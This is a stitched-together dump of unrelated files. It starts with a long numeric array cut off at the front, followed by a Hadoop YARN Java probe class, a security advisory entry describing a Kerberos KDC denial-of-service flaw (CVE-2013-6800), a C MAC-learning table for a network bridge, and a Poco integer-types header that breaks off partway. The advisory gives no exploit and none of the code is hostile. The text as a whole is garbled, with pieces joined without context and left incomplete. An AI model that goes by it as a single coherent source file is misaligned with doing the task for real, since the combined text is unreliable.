67.62,68.12,69.37,68.87,66.75,67.25,67.12,68.37,69.62,69.12,69.37,68.62,70.37,70.37, 71,70.12,70.62,71.25,69,69,69.62,69.25,70,70.12,66.87,67,67.5,65.37, 67.37,63.13,63.38,63.5,62.5,64.37,64.25,64.75,64.87,64.87,64,65.12,64.37,64, 65.37,66,65,65.25,65.62,66.37,66.62,67.25,65.75,65.37,65,65.25,65.75,65.75, 64.5,64.62,62,61.63,61.63,61.88,62,62.5,62.5,62.25,62.88,61.75,61.88,61.5, 62.75,63.13,63.25,63.5,62.38,64,62.5,62.25,62.13,62.5,62.75,62.5,61.88,62.88, 63.25,64.12,65.37,65.75,66.5,67.75,66,67.37,68.87,68.62,68.25,68.25,67.62,67.75, 68.25,68.12,68.62,67.87,70,71.25,67.75,67.87,68.5,67.87,66.75,66.25,66.5,67.5, 67.75,67.62,68.25,68.62,70,69.5,69.62,70,70,69.62,69.62,70.5,70.87,71.62, 71.25,71.62,72.25,70.25,70.25,70.37,68.87,69.37,70.75,69.25,68.87,69.62,70,69.75, 69.12,68.5,68.5,69.5,68.87,69.12,69.75,69.5,69.5,69.25,70.5,70,70.12,71.62, 72.25,73.5,73.62,72.12,72.37,72.37,73.37,73.87,73.5,72.75,73.87,74.12,73.5,73, 72.62,72.75,74.25,74.62,75.37,78,77.5,77.37,77.87,77.5,77.87,76,76.25,304, 303.63,307,306.75,306.75,306,309,308.25,307.5,309.5,306.75,305,308,308.38,307.25, 309.75,312,309,311.25,319.75,318,315.63,314.25,310.5,308.88,312,310.25,310,306.75, 308.88,312,312.5,311.63,311.75,312,320,319,318.5,320.75,317.5,319.5,314.13,315.5, 317.75,317.75,320.75,312.25,315,316,316,310.5,310.63,308.75,306.88,307.5,308.5,310, 307.75,309,304.75,303.88,306.13,300.75,301,300,299.13,304,302.25,303.63,306,308, 306.5,308.25,305.5,308.13,306.63,301.75,299.63,298.5,303.5,305.75,308.25,311,308.75,312, 311.25,313,312,308.5,311.25,311.5,306.5,311,310.25,309.63,315.5,312.75,311.5,305.38, 306,304.5,306,305,306.5,303.5,298.5,304,302.5,309.5,295,283.75,284.38,282.88, 270.13,275.38,274.25,274.25,276,278,274.25,276,278,277.88,273.75,273.38,269.5,265.5, 267.88,271.25,269.38,268,264,263.75,261,261,258.5,260,259.75,263.63,263.75,265.88, 262.25,264.13,268.5,269.38,276.13,264.25,273,269.5,272.63,273.75,275,278,277.13,276, 279.75,279,279,286,287,290.5,281.25,283,278.75,279,282,276.63,280.5,277, 277,275,281,280.5,284,284,284.5,286.5,289,289.75,293.5,295,300.88,299.5, 304.5,299.25,300,301,293.5,291.88,293,292.5,295,297.25,297,297.75,296.5,293.38, 293.75,295.25,296.75,291.5,288.63,289,287.5,288.75,289.75,286,288.5,285,293,279.13, 281,278.63,276.25,273.5,273,271,270.25,268.13,269.75,264.5,266,267.5,259.38,258.38, 258.75,260,260.5,258.38,258,256.75,257.25,259.63,261.75,260.88,258.25,262.5,266.38,268, 265.88,269.25,266.25,270,271.13,274.25,267.88,269,268,265.25,266,265.88,260.75,257.13, 258.25,261.13,260.75,261.25,262.5,263.13,266.75,262.13,264.5,266,267.25,266,262.63,265.25, 259.75,260.25,259.63,262.5,260.63,263.25,266,267,266,261.5,262.38,261.75,258,254, 253.5,253,251.25,251.13,243.5,239.5,236.25,239.88,241,240.88,240.63,241.38,238,236.25, 235.5,237.88,238.5,239.63,238.25,239.75,239.5,239.25,240.75,243.88,243.25,240.13,242.25,239, 242.75,244.25,246.13,244.75,240.88,245.25,249,251.5,251.25,253.75,256.63,256,254.75,255.25, 255.25,256,257.25,257.25,258.38,258,259.75,260.13,260.75,258.5,258.63,263.25,265.5,265.5, 266.88,265,264.25,265.88,266,265.38,266.25,267.5,269.25,269,267.5,266,266.63,266.13, 267,268.88,267,266.88,270.75,268.75,273.5,272.75,271,270.25,270.25,267.5,266,264.25, 263.13,263.75,264.75,266.25,264.25,263.25,264.5,262.38,261,260.5,263.13,264.5,263,264, 262.88,267,268.75,268.5,266.25,260.5,260.25,258,257.88,261,258.25,260.13,259.25,252.75, 251,252,253,250,249.63,255.75,257.25,258.88,260.25,260.5,257.25,258.75,258.75,257.75, 256,257.38,258.75,257.88,257.5,255.25,256.5,258,257.25,257.88,257.38,259,262.5,261, 260.38,259.5,258.25,259.5,257,257.63,256.25,259,255.75,259.25,262.75,263.13,262.75,262.75, 262.75,265.38,267.88,268.38,268.5,267.13,268.38,266.63,269.5,267.63,267.25,268,270.13,271.25, 269.13,268.5,268.75,267.75,269.38,266,266.13,268.25,265.63,264,266.5,269,269.75,269.25, 269.75,268.13,267,267.5,271.63,273.88,273.25,273,273,274.88,274,270.13,261.13,259.5, 259.88,259.13,261.5,259.88,261.5,261.63,264,265.25,264.13,267.13,266,262,260.38,259.75, 260,257.5,257.25,258.75,258.5,253.5,251.63,251.25,252.88,252.88,250.5,250.75,246.5,248, 245.5,245.25,249,247.13,247.5,245.38,249.88,252.25,254,255.38,253.25,253.25,252.38,252.75, 255.25,255.25,256.25,260.5,262.88,261.25,260,258.75,259.75,261.25,259.5,258.25,258,264, 270,271.13,272,272.5,272,273.75,278.75,276.63,276.75,275.5,274.5,275.75,278,276.5, 276.63,280.63,279.25,277.5,280.13,282.5,285.5,283.25,283.5,283.5,284,285.25,284,283.25, 284.5,279.63,280.13,280.5,278,278.25,276.5,277,276,275.5,275.5,276.25,275.75,270.13, 270.5,271.5,272.25,274.25,267,269,268,270,270.5,269,271.13,274.25,276.5,275.25, 272.5,268.5,268.25,269.75,271.75,274,273,277.5,275.25,273,270.5,270.5,269,269, 271.25,272,274,274,273,276.5,279.13,280.5,276.5,278.5,277.5,271.63,270.25,270.38, 265.75,265,267.25,268.75,269.88,270,271,271.5,272.75,270.75,273,272,269.5,269.5, 271,271.38,274.13,272.25,269.38,271.5,270,271,267.5,263.5,264.25,262,264.5,261, 260.25,259.5,262.25,267.38,268,271.25,271.75,266.5,266,263.5,259.5,256.5,257.25,263.5, 263.5,263.63,262.5,264.5,272.5,271.75,278,278.25,281.25,279.5,279,280,280.5,281.38, 281.5,283.88,286.75,283.75,284.25,285.5,287.75,284.25,284,284,278.25,278,277.63,279.5, 278,277,280,278.5,276.38,276.88,273.63,272.25,269.75,268.88,272,269.5,273.5,273, 275.25,279.5,280,279.38,278.25,277.5,277.38,278.5,274.5,275.25,274.63,276.75,275.88,271.75, 272.13,273,273,272.25,275.5,273,272.5,271,270.5,272,274.25,276.25,276.63,277.63, 279.75,278,276.5,278,275,276,274.5,276.75,275.5,273.63,274.5,275.25,272,268.75, 270.5,266,269,262.25,259,260.25,257.75,255.5,253.25,253,253.38,253,256,257.5, 254,256.63,253.25,250,251,249.75,253.5,257,253.75,253,252.25,252.25,255.5,257, 256.5,258,250.5,249.63,250,252.5,249,253.38,253.5,256,255.88,259.25,258.63,260, 260.5,261.25,259.13,256.5,255.5,263.5,261.63,267.88,268.25,269,269.75,272,267,261.75, 262,260.25,260.25,259.5,258.5,261.75,262,258.25,258.75,258,258.13,261.88,259.63,261.5, 265.75,261.75,258.75,260,257.5,256.25,259.38,259.25,259.25,255.63,256,260,262.5,260.25, 262,261.25,255.75,253.13,254,252.5,255.25,258,253.5,254,258,263.75,261,259.25, 257.75,256.5,251,249.88,254.25,254.25,250,247.5,252.88,250,242,239.63,241.25,234.25, 235.75,231.25,230.38,228.5,229.38,230,226.5,224.25,223.25,222.5,223.25,223.25,220,216, 217.75,219.5,219.75,219.88,216.75,215.63,214.75,217.5,215.88,215,214.63,220.13,219,220.75, 224.13,226.38,225,224.63,222.25,221.75,221,219.5,220.38,225,222.5,221.38,224.75,219.75, 216.63,216.25,217,215.75,213.5,211.25,212.25,211.13,211,215,211.13,209,215.38,213.25, 212.88,211.5,207.25,209.38,208.75,208.5,210.5,206,205.25,206,201.25,201,195.25,188.75, 183.38,188.25,190.75,196,192,191,188.5,186.5,189.25,186.25,179.75,178.13,179.88,180, 181.25,180,179,183.5,180,182,182.75,181.25,186.25,186.25,181,178.25,182,180.25, 177.5,176.5,178.25,182,182.25,179.75,177.5,182,183.5,180,183,186,184.38,187.75, 189.25,190.25,194.88,192,190.63,190.5,194.25,193,197.5,201,201.88,202.38,204.63,206.75, 208,205.5,204.75,209.5,206.13,204,206.5,206.88,208.5,209,209,209.25,210.5,211.5, 213,206.38,208.38,204.25,203.5,208.25,206.13,208.5,210.25,211.5,212,213.5,218,216.63, 218.5,218,215,212.5,213.38,216.13,218.88,214,212.75,216,219,216.63,217.5,223.5, 223.5,216,214.5,209.75,212.38,209.75,213.75,207.63,209.25,209.88,202.25,202.5,206,206.88, 208,211.88,213.75,209.38,212.5,212.75,209.5,209.5,205,208.13,209.5,201.5,197.88,198, 198,203.75,206.13,206.63,207.5,209.88,210,204.63,209.13,209.5,214.5,214.75,218.75,215.5, 217,213,215.5,219.5,217,219.25,215.38,214.5,220,215.5,212.25,212,207.5,212, 218.25,217.75,217.75,212,220.13,215.5,210.25,201.63,198.63,197.63,196,199.88,191.75,193, 188.25,182.88,187.25,179.75,162.88,162.88,163,163.5,159.63,160,158.13,160.75,163.5,168.25, 169.25,171.25,168.5,163.25,165.75,166.63,167.5,168.88,168,164.25,162.25,165,167.38,165.75, 169.5,169,170,171.63,165.25,167.25,169.5,171.75,172,168.5,164.5,166.25,169.75,168.13, 170.75,177.25,178.25,177,174,170.5,171.5,168.5,169.5,173.88,180.25,182.13,184.75,185, 190,190.5,187.25,184,195.88,189.5,191.5,189.13,193,191.75,180.75,177.25,181.25,182, 187.75,192.5,184.25,180,177.13,177.25,179,178,176.13,172,162,164.13,156.25,157.75, 159.5,160.25,159,160.88,164,165,166.75,169.25,171.5,170.5,166.5,161.88,159.63,152, 156.5,165.13,171.5,173,179,182.25,180,183.5,192,188.75,191.25,192,193.5,190, 192.75,192,199.75,196.75,198.5,200,200,202.25,203,208.5,208.5,214.75,208.75,204.25, 200.75,201.75,201.63,207.5,203,206.25,214.75,221,222.25,219.88,217.75,217,217.75,213.75, 219,215,198.75,197.75,201.75,199,205.75,210,211.5,212.75,212.75,212,216.25,221.5, 215.75,213,213.75,216.5,216,218.75,222.75,227.5,224.75,226.5,230.25,229.25,227.5,220.38, 220.5,219,212.5,214.5,210.63,217,218.75,216.25,216.13,217.5,218.25,218.25,220,222.38, 223,221.5,224,230.5,226,228.13,224.25,226.25,229.38,230,227.25,224.5,225.5,221.63, 223.63,227.25,230.5,231.63,235,234.25,234.25,230.5,229.5,230.25,233,230.75,233.5,240.13, 239.25,234,229.75,235.75,239.75,244,250,247.5,243.5,243,246.25,245.75,247.5,249.25, 248.75,250,249.5,246.5,240.5,239.75,244.25,241.75,236.75,236,237.88,237,237.75,235.75, 236.5,237.5,235.5,231.75,233.5,226.5,229.25,228.25,228,233.13,236.25,237.25,236.75,237, 241.25,245.25,246.25,243.25,244.38,247,246.5,248,249.75,245,246,250.75,243.75,239.13, 237,240,229,227.75,228,227.25,230.75,239.25,242.75,246.75,249.25,255,248.5,237.5, 240.5,243,250.75,249.5,240,246,252,250.63,251.5,263,265,260.75,253.25,255.25, 258.5,265,266,269.25,263.5,266,272.5,276.75,272,276,284.5,280,287,289.75, 284.25,278.38,282.25,276.75,276,276.75,280.25,281.25,280.25,278.5,285,285.5,289,287.5, 286,280,291.5,287.5,283.25,281.88,279.25,282,281,274,261.75,261.75,259.5,251.5, 248.5,255.5,257.75,258,260,260.5,259.5,251.5,260,268.75,270.75,259.5,272,298, 292.25,290.5,286,293.25,296.13,298.25,297.75,296.88,301,303.25,304.25,304,304.5,298.25, 299.25,297.75,297.75,299.75,300.5,300.5,302.5,299.75,301.5,301.25,303.5,304,308,311, 311.5,313,311.5,314.5,320.75,318,318.75,319,311.75,312.75,315,315,314.25,310, 319,310,313.75,320,314,305.5,300.25,300,298.5,305.25,317,319.75,313.25,312.75, 308.75,316.75,315.5,321.5,318,314,318.25,321,329.5,329.25,323,324.25,322,315, 317,309.75,310,314.75,319,323.5,408,400.5,389.75,390,386.75,389,397,400, 400,396.13,405.63,410.5,414,422,417,421.75,424,415.38,415.38,408,405.25,409.75, 407.5,415.25,425.5,429,432,425,425.25,429.75,432.25,430.25,434.25,429.5,423.5,422.88, 423,424.25,428,431.5,438.75,434.5,437.5,432.5,428,425.5,430.5,437.75,437.88,443.5, 444,448.75,444.75,442.5,439.5,440.5,441,437.25,438.75,442,427,431.5,423,431, 433.5,444,443.75,447,441.25,441.5,445.63,451,448.5,446,437.5,438.5,437.75,430, 429.75,429,435.5,439,441.5,437.75,436,444.25,436,439,428.88,424,422.5,423.25, 420,415.25,411.5,417.5,418.75,418.75,411.75,409.25,409,402,399,391.75,390.5,385.5, 389.5,390,394.5,398.13,395.5,396.25,399,404.25,403,396.75,397,398,400.5,398, 391,387,382.25,385.5,389,394,387.25,385,384,385,384.25,388,376.75,372.25, 371.5,376.5,381,387.88,391,389.5,385.5,379.75,378.75,377.5,383.5,389.25,390.5,387, 378.5,379,370.25,364.5,379,384.5,390.75,394,400.25,401.5,395,403.25,406.75,405.25, 406.5,404.25,407,398.13,398.25,398.25,399.5,400.5,397,396.25,397.75,399.5,398,395, 396.5,398.75,399.5,401.25,404.75,406.25,408.5,408,408.75,404.25,406,407.25,413,412.75, 410.5,411.5,413.25,416,420.25,424.75,425.5,423.5,423.5,418.25,417.75,416,415.25,409, 410,400.75,398,397,394.5,398,398.75,396.5,390.75,390,388.5,388,393.25,391.75, 395.75,397,399,404,403.75,400,395.13,392,391.5,390.63,392.25,392.25,395,395.75, 397.5,397,396.5,398.75,397.5,399.75,392.75,387.75,391,392.75,395.25,393,394.5,398.5, 399,397.75,395.5,404,404,403,402,401,396.25,394.5,389.5,383.75,386.5,382, 383.5,383.75,379.25,386.25,388.75,384.5,379,380,382.5,386,381,380,381.5,385, 385,387.75,391,395.75,395,395,394.25,397.5,390.5,390.5,389.25,391,392,389, 385.5,382.25,380,384.88,385,382.75,382.25,377.75,376.5,376.88,377,373,373,371.5, 373.25,378.25,383,382,383.75,380,377.5,376.25,372.5,368.5,367,372.5,364.75,369, 368.5,368.75,367.75,369.38,369.75,369,373.75,372,373.75,372.25,368.5,369.75,373.25,373.5, 369,368,368.25,368.25,368.75,366,360.5,368.25,363.5,353.25,349.5,349.5,350,341, 342.25,341,338,338.75,341,341,340,333,336.5,335,337,339.25,333.5,336, 341.25,346,341.5,339,339,327.13,320,324.25,324.5,317.5,313.5,317,313.25,321, 309.5,309.75,305.5,302.25,298.75,291.75,290.5,291.75,293.5,294.75,301,302,294.25,294.25, 292.25,297.25,299,299.25,300,300.25,303,295.5,292.38,300.5,298.25,297,299,302, 301.63,304,305,309,309,308.75,307.75,309.25,315.13,305.75,304.75,308.5,309,307.75, 306.5,306,303.75,302.75,304.25,303.88,304.75,305,307.75,305.5,304,300.75,301,303, 299.75,300,305.25,306.38,310.5,310,307.75,299.5,301.5,304,310.13,315.5,314,314.75, 318.25,314.75,309,307,310.25,315.75,314,295,296.75,291.25,286,284,285.5,287, 287,290,293.75,291.25,296.75,299.5,292.75,296.75,298,299.5,301.75,299,296.5,294.5, 298,300,302,315,316,311.25,311.5,316.5,319,317.75,317,314,311.75,311.25, 313,315.25,314.75,314,315.5,321,323.5,321.5,318.63,324.5,321.5,318.25,312.5,317.75, 324.25,321.25,326.5,328.75,327,334,337.25,337,341,344,348,342,338,334, 335.5,340.25,342.5,342.25,344.75,347,351.75,353,353.5,353.25,357.75,362,361.25,358, 356,355,352,353,356,354,352,356.25,358.75,358,357,356.75,361,361.13, 360.75,358,356,357.5,357,356.5,358,356,355,355.75,358.5,360.63,361,363.5, 362.5,363.5,354,347.75,348.75,349,348.5,345.5,340.75,337.25,338,339,336.5,334, 338.25,335.25,330.5,328.25,329.25,336.5,341.63,339.5,338.75,337.25,338.5,340.75,336.5,330.5, 328.63,327.75,327.25,325.5,317.5,322.5,326,321.75,316.5,315.5,314.75,312.75,311.75,310, 314.5,315.63,315.75,312.5,314.5,316.25,318,316.25,313,317.75,319.5,320.25,318.5,315, 312.5,316,317.25,315.5,313,313,311,310.75,317,317.5,317.25,316.25,316,311.75, 311.5,314,308,307.25,308.5,299,300,299,296.5,291,290.5,292.88,293.25,293.13, 297.13,297.25,299,297.5,294,292.63,296.25,296.13,299.75,294,298.5,296.5,291,289.75, 295,288,288.88,291.13,284.5,290.75,293,291.5,292,290.25,296.13,298.25,305.75,307.13, 306.75,299.25,297,291.75,291.75,290,288.5,288.5,281,273.25,275.5,280.25,276.5,271, 266.38,266,268.75,268.25,273,275,272,269.75,264,263.88,266.25,271.25,265.25,263.75, 264,262.75,249.25,244.75,239.75,239.75,235.25,229.88,223,230.63,238.25,240.5,245.5,248.5, 249.75,250.25,249.25,252.25,253.5,252.5,252.75,253.25,253.75,257,254,257.75,258,259.5, 254,252,251.25,247.75,250.25,254.25,252.5,242.5,244.5,250.75,254,250,257.5,257.5, 258,255,257.13,268.5,270.25,272,265.75,271,259,259,259.25,265.5,268.25,266.25, 270,271.25,283,283,287,278,267,259,242,241,248,245.5,250.5,258.5, 270,270.75,268.5,275,282.5,285.5,290.5,289.75,287.5,283,283,296.75,298,300.25, 290.25,301.5,309,309.63,313,321,324.5,322.5,320.75,323.25,324.75,327,331.5,325.75, 324,320,320.5,326.5,332,337.75,338.5,336.75,333.25,333,328,322,319.75,322.38, 322.25,322.5,320,324.25,328.75,328.5,326.5,316.75,325.25,329.25,329.75,333.25,335.5,340.25, 344.25,345,344.5,349.5,352,351.25,349.75,349.25,349,352,355,346,349.75,344.75, 338.75,343.25,343.25,343,335.19,338.5,341,345.25,348.5,356,356,355,356.5,350, 369.75,381.5,373.75,374.13,367.75,369,369.5,368.75,368.5,368.25,364.75,364.5,359.5,358.25, 361,355,351.5,360.5,366.5,360.25,351.5,353.25,358,359.5,355.5,355.5,356,355.5, 357,357,355.13,356,360,357,350,346.25,345.75,351,354.75,359,363.25,362.5, 363,364.5,367,367.75,366.75,365,360.5,360.5,359.5,359.5,360.5,359.5,356.25,361.5, 363.5,364,356.5,355.5,357,353,351,351.75,354,353,347.25,346.5,347,341.5, 346,348.5,344.75,344.5,343.5,345.25,346.25,346.5,347.75,357,357.25,358.5,351,348.5, 347,346.75,344,345.5,343.5,348.5,338.5,335.25,338,340.25,340.75,343.5,345,348, 342.75,340,341,350.25,349,346.88,342,341.25,339.5,338.75,335,330.5,329.25,333.5, 333.75,336,334.5,326.75,329.5,324.5,315.5,313,313.13,316.5,317,320.25,318.25,323, 327.5,328.5,323.5,321.5,331.5,327,333.5,336,348,351.25,348,337.5,337.75,331.5, 329.75,320.5,325.5,315.5,312.25,314,314.25,314.25,313.5,311.5,308,309.5,310.25,312.25, 315,318,319,318,319.5,319,321.75,322.25,327,327,322.75,322.5,319.5,324.25, 330.5,330,334,331.5,326.5,327,329.75,329,331.5,327.5,326.5,325.5,328,327.25, 324.25,317.75,315.5,311.25,312.5,308,308.25,306.75,308.75,310.5,309.25,312.25,313.75,312, 306.5,307.25,310.75,311,313,314,311.25,309.5,308,306.5,305.5,305.5,303.5,299.88, 301.75,295.75,294.75,299.63,303,303.5,299.75,301,301,297.75,296,293.38,296,298.5, 296.25,296.75,295.5,295.5,300,300,308.75,310.25,305.5,303,298,297.25,296.75,296.25, 294.88,296.25,296.5,296.25,299.75,299.75,299.75,300.5,303,303,300,307.5,312.75,308.75, 308.5,300,305.75,310,306,303.5,302.5,312,313.75,315,313.5,319,319.75,321, 317.75,322,326,319.5,315.75,316.5,321,328,327,326,328.5,330,329,333.75, 334.5,329.75,327,327.75,326,325,322.5,327,325,324,320,315.5,316.75,310, 315,309,307,309.5,313.5,316.75,318,324,327,327,319,315,319.75,325, 329.5,330.75,330.25,331,324.5,327,335,332.25,335.75,337,337,331,335.75,336.75, 336,337.5,337,337,338.5,340.5,339.75,339,336.5,335,338,338,340,338.25, 343.5,344.5,345,340.5,339,343.25,338.75,335,336,338,335.5,336,337.88,338.75, 331.5,332,335.5,343.75,342,345,358,355,357,354.75,358,363,365,358, 352,351.5,353.75,360.5,354.5,348.25,358.25,358.5,346.75,346.5,355.75,360,370,370.75, 370,368,365,369.75,375,357,345.75,335.5,332.5,329.5,326.5,329,330,324.88, 325,331.25,334.5,335.5,335,338.88,341.25,343.5,343.88,343,344,348,343,338.75, 334.25,329.5,328,326.5,327.5,636,636.5,640,643,645,648.25,649,641,642, 630,637.5,639,635,631,612.5,600.5,598,594,587.5,585.5,580,586.75,581.5, 590.75,589.13,573,590.5,595.5,593,579.5,585,587.5,569.75,562,577,580,590, 594,587.5,589.75,599,595,585.13,577,586,585,571,571,579,592.5,587, 592.5,596,599.5,594.5,609.5,614.5,618.5,617,614,623,607,621,621.5,616, 616,623,616,609,604,598.5,597.5,593,588.75,606,613.5,627,624.5,625, 616.5,613.5,622.25,625,617.5,618,637.25,648,643.5,641,645.5,644.5,640,632.75, 629,630,616,612 };
37,124
14,425
<gh_stars>1000+ /** * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * <p> * http://www.apache.org/licenses/LICENSE-2.0 * <p> * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.hadoop.yarn.service.monitor.probe; import org.apache.hadoop.yarn.api.records.ContainerStatus; import org.apache.hadoop.yarn.service.component.instance.ComponentInstance; import org.apache.hadoop.yarn.service.utils.ServiceRegistryUtils; import org.apache.hadoop.yarn.service.utils.ServiceUtils; import java.io.IOException; import java.util.Collections; import java.util.Map; /** * A probe that checks whether the AM has retrieved an IP for a container. * Optional parameters enable a subsequent check for whether a DNS lookup can * be performed for the container's hostname. Configurable properties include: * * dns.check.enabled - true if DNS check should be performed (default false) * dns.address - optional IP:port address of DNS server to use for DNS check */ public class DefaultProbe extends Probe { private final boolean dnsCheckEnabled; private final String dnsAddress; public DefaultProbe(Map<String, String> props) { this("Default probe: IP presence", props); } protected DefaultProbe(String name, Map<String, String> props) { this.dnsCheckEnabled = getPropertyBool(props, DEFAULT_PROBE_DNS_CHECK_ENABLED, DEFAULT_PROBE_DNS_CHECK_ENABLED_DEFAULT); this.dnsAddress = props.get(DEFAULT_PROBE_DNS_ADDRESS); String additionalName = ""; if (dnsCheckEnabled) { if (dnsAddress == null) { additionalName = " with DNS checking"; } else { additionalName = " with DNS checking and DNS server address " + dnsAddress; } } setName(name + additionalName); } public static DefaultProbe create() throws IOException { return new DefaultProbe(Collections.emptyMap()); } public static DefaultProbe create(Map<String, String> props) throws IOException { return new DefaultProbe(props); } @Override public ProbeStatus ping(ComponentInstance instance) { ProbeStatus status = new ProbeStatus(); ContainerStatus containerStatus = instance.getContainerStatus(); if (containerStatus == null || ServiceUtils.isEmpty(containerStatus .getIPs())) { status.fail(this, new IOException( instance.getCompInstanceName() + ": IP is not available yet")); return status; } String hostname = instance.getHostname(); if (dnsCheckEnabled && !ServiceRegistryUtils.registryDNSLookupExists( dnsAddress, hostname)) { status.fail(this, new IOException( instance.getCompInstanceName() + ": DNS checking is enabled, but " + "lookup for " + hostname + " is not available yet")); return status; } status.succeed(this); return status; } protected boolean isDnsCheckEnabled() { return dnsCheckEnabled; } }
1,146
892
{ "schema_version": "1.2.0", "id": "GHSA-f64v-2v58-4rrx", "modified": "2022-05-13T01:28:50Z", "published": "2022-05-13T01:28:50Z", "aliases": [ "CVE-2013-6800" ], "details": "An unspecified third-party database module for the Key Distribution Center (KDC) in MIT Kerberos 5 (aka krb5) 1.10.x allows remote authenticated users to cause a denial of service (NULL pointer dereference and daemon crash) via a crafted request, a different vulnerability than CVE-2013-1418.", "severity": [ ], "affected": [ ], "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-6800" }, { "type": "WEB", "url": "https://github.com/krb5/krb5/commit/c2ccf4197f697c4ff143b8a786acdd875e70a89d" }, { "type": "WEB", "url": "http://krbdev.mit.edu/rt/Ticket/Display.html?id=7757" }, { "type": "WEB", "url": "http://www.securityfocus.com/bid/63770" } ], "database_specific": { "cwe_ids": [ ], "severity": "MODERATE", "github_reviewed": false } }
490
1,657
<filename>src/apps/bridge/mac_table.c /* Use of this source code is governed by the Apache 2.0 license; see COPYING. */ #include <inttypes.h> #include "learning.h" /* Insert a MAC address into the main and shadow hash tables. */ void mac_table_insert(uint64_t mac, handle_t port, handle_t group, hash_table_t **tables, uint32_t index) { int i, j; hash_table_t *table; mac_entry_t *me; /* Iterate over the main (tables[0]) and shadow (tables[1]) hash tables. */ for (i=0; i<=1; i++) { table = tables[i]; for (j = 0; j<BUCKET_SIZE; j++) { me = &table->buckets[index][j]; if (me->mac == 0ULL) { /* We found a free slot. Store the address/port mapping and update the table's statistics. */ if (j == 0) { table->h.ubuckets = table->h.ubuckets+1; } table->h.entries = table->h.entries+1; me->mac = mac; me->port = port; me->group = group; break; } if (me->mac == mac) { /* The address is already stored. Update the port mapping. If we wanted to somehow detect addresses flapping between ports, this would be the place to do it.*/ me->port = port; me->group = group; break; } } if (j == BUCKET_SIZE) { /* There are no free slots in this bucket. The address is dropped and the overflow is signalled to the table maintenance function, which will try to allocate a bigger table. */ table->h.overflow = 1; } } } /* Search for a MAC address in a given hash bucket and return the associated egress port and group. A miss is signalled by setting the port to 0. */ lookup_result_t *mac_table_lookup(uint64_t mac, mac_entry_t *bucket) { int i; mac_entry_t *me; static lookup_result_t result; result.port = 0; for (i = 0; i<BUCKET_SIZE && bucket[i].mac != 0ULL; i++) { me = &bucket[i]; if (me->mac == mac) { result.port = me->port; result.group = me->group; break; } } return &result; } /* Search for a MAC address in a given hash bucket and fill in the next free entry in one of the packet forwarding tables based on the result. If an entry is found, the packet is added to the unicast forwarding table (pfts[0]), otherwise it is added to the multicast/flooding forwarding table (pfts[1]) by referencing the pre-constructed flooding port list. If the ingress port is in the same split-horizon group as the egress port or the ingress and egress port coincide, the packet is added to the discard table (pft[2]). */ void mac_table_lookup_pft(uint64_t mac, mac_entry_t *bucket, handle_t port, handle_t group, struct packet *p, pft_t **pfts, port_list_t *flood_pl) { int i; pft_t *pft; pft_entry_t *pfe; mac_entry_t *me; for (i = 0; i<BUCKET_SIZE && bucket[i].mac != 0ULL; i++) { me = &bucket[i]; if (me->mac == mac) { if ((group != 0 && group == me->group) || port == me->port) { /* Discard */ pft = pfts[2]; pfe = &pft->entries[pft->length]; pfe->p = p; pft->length++; return; } /* Unicast forwarding. We don't need to set pfe->plist->length here because it has been initialized to 1 when the port list was created in apps/bridge/learning.lua. */ pft = pfts[0]; pfe = &pft->entries[pft->length]; pfe->p = p; pfe->plist->ports[0] = me->port; pft->length++; return; } } /* Flooding */ pft = pfts[1]; pfe = &pft->entries[pft->length]; pfe->p = p; pfe->plist = flood_pl; pft->length++; }
1,594
3,170
<filename>contrib/libpoco/Foundation/include/Poco/Types.h // // Types.h // // $Id: //poco/1.4/Foundation/include/Poco/Types.h#2 $ // // Library: Foundation // Package: Core // Module: Types // // Definitions of fixed-size integer types for various platforms // // Copyright (c) 2004-2006, Applied Informatics Software Engineering GmbH. // and Contributors. // // SPDX-License-Identifier: BSL-1.0 // #ifndef Foundation_Types_INCLUDED #define Foundation_Types_INCLUDED #include "Poco/Foundation.h" namespace Poco { #if defined(_MSC_VER) // // Windows/Visual C++ // typedef signed char Int8; typedef unsigned char UInt8; typedef signed short Int16; typedef unsigned short UInt16; typedef signed int Int32; typedef unsigned int UInt32; typedef signed __int64 Int64; typedef unsigned __int64 UInt64; #if defined(_WIN64) #define POCO_PTR_IS_64_BIT 1 typedef signed __int64 IntPtr; typedef unsigned __int64 UIntPtr; #else typedef signed long IntPtr; typedef unsigned long UIntPtr; #endif #define POCO_HAVE_INT64 1 #elif defined(__GNUC__) || defined(__clang__) // // Unix/GCC/Clang // typedef signed char Int8; typedef unsigned char UInt8; typedef signed short Int16; typedef unsigned short UInt16; typedef signed int Int32; typedef unsigned int UInt32; #if defined(_WIN64) #define POCO_PTR_IS_64_BIT 1 typedef signed long long IntPtr; typedef unsigned long long UIntPtr; typedef signed long long Int64; typedef unsigned long long UInt64; #else typedef signed long IntPtr; typedef unsigned long UIntPtr; #if defined(__LP64__) #define POCO_PTR_IS_64_BIT 1 #define POCO_LONG_IS_64_BIT 1 typedef signed long Int64; typedef unsigned long UInt64; #else typedef signed long long Int64; typedef unsigned long long UInt64; #endif #endif #define POCO_HAVE_INT64 1 #elif defined(__DECCXX) // // Compaq C++ // typedef signed char Int8; typedef unsigned char UInt8; typedef signed short Int16; typedef unsigned short UInt16; typedef signed int Int32; typedef unsigned int UInt32; typedef signed __int64 Int64; typedef unsigned __int64 UInt64; #if defined(__VMS) #if defined(__32BITS) typedef signed long IntPtr; typedef unsigned long UIntPtr; #else typedef Int64 IntPtr; typedef UInt64 UIntPtr; #define POCO_PTR_IS_64_BIT 1 #endif #else typedef signed long IntPtr; typedef unsigned long UIntPtr; #define POCO_PTR_IS_64_BIT 1 #define POCO_LONG_IS_64_BIT 1 #endif #define POCO_HAVE_INT64 1 #elif defined(__HP_aCC) // // HP Ansi C++ // typedef signed char Int8; typedef unsigned char UInt8; typedef signed short Int16; typedef unsigned short UInt16; typedef signed int Int32; typedef unsigned int UInt32; typedef signed long IntPtr; typedef unsigned long UIntPtr; #if defined(__LP64__) #define POCO_PTR_IS_64_BIT 1 #define POCO_LONG_IS_64_BIT 1 typedef signed long Int64; typedef unsigned long UInt64; #else typedef signed long long Int64; typedef unsigned long long UInt64; #endif #define POCO_HAVE_INT64 1 